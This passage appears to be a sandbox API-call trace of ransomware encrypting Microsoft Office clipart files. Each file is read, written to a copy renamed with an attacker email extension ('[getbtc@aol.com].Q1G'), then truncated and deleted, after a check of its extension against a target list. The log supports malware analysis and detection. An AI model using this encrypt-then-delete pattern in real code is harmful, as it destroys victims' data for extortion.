lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.846] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.846] SetEndOfFile (hFile=0x388) returned 1 [0244.891] CloseHandle (hObject=0x388) returned 1 [0244.891] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.891] SetEndOfFile (hFile=0x3ac) returned 1 [0244.894] CloseHandle (hObject=0x3ac) returned 1 [0244.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0244.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0244.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0244.903] lstrlenW (lpString=".doc") returned 4 [0244.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.903] lstrlenW (lpString=".docx") returned 5 [0244.903] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.903] lstrlenW (lpString=".pdf") returned 4 [0244.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.903] lstrlenW (lpString=".xls") returned 4 [0244.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.903] lstrlenW (lpString=".xlsx") returned 5 [0244.903] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.903] lstrlenW (lpString=".ppt") returned 4 [0244.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0244.903] lstrlenW (lpString=".zip") returned 4 [0244.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.903] lstrlenW (lpString=".rar") returned 4 [0244.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.904] lstrlenW (lpString=".bz2") returned 4 [0244.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.904] lstrlenW (lpString=".7z") returned 3 [0244.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0244.904] lstrlenW (lpString=".dbf") returned 4 [0244.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0244.904] lstrlenW (lpString=".1cd") returned 4 [0244.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0244.904] lstrlenW (lpString=".jpg") returned 4 [0244.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0244.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0244.904] lstrlenW (lpString=".doc") returned 4 [0244.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.904] lstrlenW (lpString=".docx") returned 5 [0244.904] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.904] lstrlenW (lpString=".pdf") returned 4 [0244.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.904] lstrlenW (lpString=".xls") returned 4 [0244.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.904] lstrlenW (lpString=".xlsx") returned 5 [0244.904] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.904] lstrlenW (lpString=".ppt") returned 4 [0244.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0244.904] lstrlenW (lpString=".zip") returned 4 [0244.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.904] lstrlenW (lpString=".rar") returned 4 [0244.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.904] lstrlenW (lpString=".bz2") returned 4 [0244.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.905] lstrlenW (lpString=".7z") returned 3 [0244.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0244.905] lstrlenW (lpString=".dbf") returned 4 [0244.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0244.905] lstrlenW (lpString=".1cd") returned 4 [0244.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0244.905] lstrlenW (lpString=".jpg") returned 4 [0244.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.905] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.905] lstrlenW (lpString="BL00921_.WMF") returned 12 [0244.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.906] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=4408) returned 1 [0244.906] CloseHandle (hObject=0x37c) returned 1 [0244.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x20 [0244.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.907] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.907] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0244.908] GetLastError () returned 0x0 [0244.908] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1138, lpOverlapped=0x0) returned 1 [0244.909] WriteFile (in: hFile=0x324, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1140, lpOverlapped=0x0) returned 1 [0244.910] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.910] WriteFile (in: hFile=0x324, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.911] SetEndOfFile (hFile=0x324) returned 1 [0244.911] CloseHandle (hObject=0x324) returned 1 [0244.911] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.911] SetEndOfFile (hFile=0x37c) returned 1 [0244.913] CloseHandle (hObject=0x37c) returned 1 [0244.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0244.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0244.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0244.915] lstrlenW (lpString=".doc") returned 4 [0244.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.915] lstrlenW (lpString=".docx") returned 5 [0244.915] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.915] lstrlenW (lpString=".pdf") returned 4 [0244.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.915] lstrlenW (lpString=".xls") returned 4 [0244.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.915] lstrlenW (lpString=".xlsx") returned 5 [0244.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.915] lstrlenW (lpString=".ppt") returned 4 [0244.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0244.915] lstrlenW (lpString=".zip") returned 4 [0244.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.915] lstrlenW (lpString=".rar") returned 4 [0244.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.915] lstrlenW (lpString=".bz2") returned 4 [0244.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.915] lstrlenW (lpString=".7z") returned 3 [0244.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0244.915] lstrlenW (lpString=".dbf") returned 4 [0244.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0244.915] lstrlenW (lpString=".1cd") returned 4 [0244.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0244.916] lstrlenW (lpString=".jpg") returned 4 [0244.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0244.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0244.916] lstrlenW (lpString=".doc") returned 4 [0244.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.916] lstrlenW (lpString=".docx") returned 5 [0244.916] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.916] lstrlenW (lpString=".pdf") returned 4 [0244.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.916] lstrlenW (lpString=".xls") returned 4 [0244.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.916] lstrlenW (lpString=".xlsx") returned 5 [0244.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.916] lstrlenW (lpString=".ppt") returned 4 [0244.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0244.916] lstrlenW (lpString=".zip") returned 4 [0244.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.916] lstrlenW (lpString=".rar") returned 4 [0244.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.916] lstrlenW (lpString=".bz2") returned 4 [0244.916] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.916] lstrlenW (lpString=".7z") returned 3 [0244.916] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0244.916] lstrlenW (lpString=".dbf") returned 4 [0244.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0244.916] lstrlenW (lpString=".1cd") returned 4 [0244.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0244.916] lstrlenW (lpString=".jpg") returned 4 [0244.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.917] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.917] lstrlenW (lpString="BL00923_.WMF") returned 12 [0244.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.917] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=6256) returned 1 [0244.917] CloseHandle (hObject=0x37c) returned 1 [0244.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20 [0244.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.918] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.918] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0244.918] GetLastError () returned 0x0 [0244.918] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1870, lpOverlapped=0x0) returned 1 [0244.920] WriteFile (in: hFile=0x324, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1880, lpOverlapped=0x0) returned 1 [0244.921] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.921] WriteFile (in: hFile=0x324, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.921] SetEndOfFile (hFile=0x324) returned 1 [0244.921] CloseHandle (hObject=0x324) returned 1 [0244.922] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.922] SetEndOfFile (hFile=0x37c) returned 1 [0244.924] CloseHandle (hObject=0x37c) returned 1 [0244.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0244.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0244.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0244.924] lstrlenW (lpString=".doc") returned 4 [0244.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.925] lstrlenW (lpString=".docx") returned 5 [0244.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.925] lstrlenW (lpString=".pdf") returned 4 [0244.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.925] lstrlenW (lpString=".xls") returned 4 [0244.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.925] lstrlenW (lpString=".xlsx") returned 5 [0244.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.925] lstrlenW (lpString=".ppt") returned 4 [0244.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0244.925] lstrlenW (lpString=".zip") returned 4 [0244.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.925] lstrlenW (lpString=".rar") returned 4 [0244.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.925] lstrlenW (lpString=".bz2") returned 4 [0244.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.925] lstrlenW (lpString=".7z") returned 3 [0244.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0244.925] lstrlenW (lpString=".dbf") returned 4 [0244.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0244.925] lstrlenW (lpString=".1cd") returned 4 [0244.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0244.925] lstrlenW (lpString=".jpg") returned 4 [0244.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0244.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0244.925] lstrlenW (lpString=".doc") returned 4 [0244.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.925] lstrlenW (lpString=".docx") returned 5 [0244.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.926] lstrlenW (lpString=".pdf") returned 4 [0244.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.926] lstrlenW (lpString=".xls") returned 4 [0244.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.926] lstrlenW (lpString=".xlsx") returned 5 [0244.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.926] lstrlenW (lpString=".ppt") returned 4 [0244.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0244.926] lstrlenW (lpString=".zip") returned 4 [0244.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.926] lstrlenW (lpString=".rar") returned 4 [0244.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.926] lstrlenW (lpString=".bz2") returned 4 [0244.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.926] lstrlenW (lpString=".7z") returned 3 [0244.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0244.926] lstrlenW (lpString=".dbf") returned 4 [0244.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0244.926] lstrlenW (lpString=".1cd") returned 4 [0244.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0244.926] lstrlenW (lpString=".jpg") returned 4 [0244.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.926] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.926] lstrlenW (lpString="BL00932_.WMF") returned 12 [0244.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.927] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=19476) returned 1 [0244.927] CloseHandle (hObject=0x37c) returned 1 [0244.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x20 [0244.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.927] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.928] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0244.928] GetLastError () returned 0x0 [0244.928] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x4c14, lpOverlapped=0x0) returned 1 [0244.930] WriteFile (in: hFile=0x324, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0244.931] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.931] WriteFile (in: hFile=0x324, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.931] SetEndOfFile (hFile=0x324) returned 1 [0244.931] CloseHandle (hObject=0x324) returned 1 [0244.932] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.932] SetEndOfFile (hFile=0x37c) returned 1 [0244.935] CloseHandle (hObject=0x37c) returned 1 [0244.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 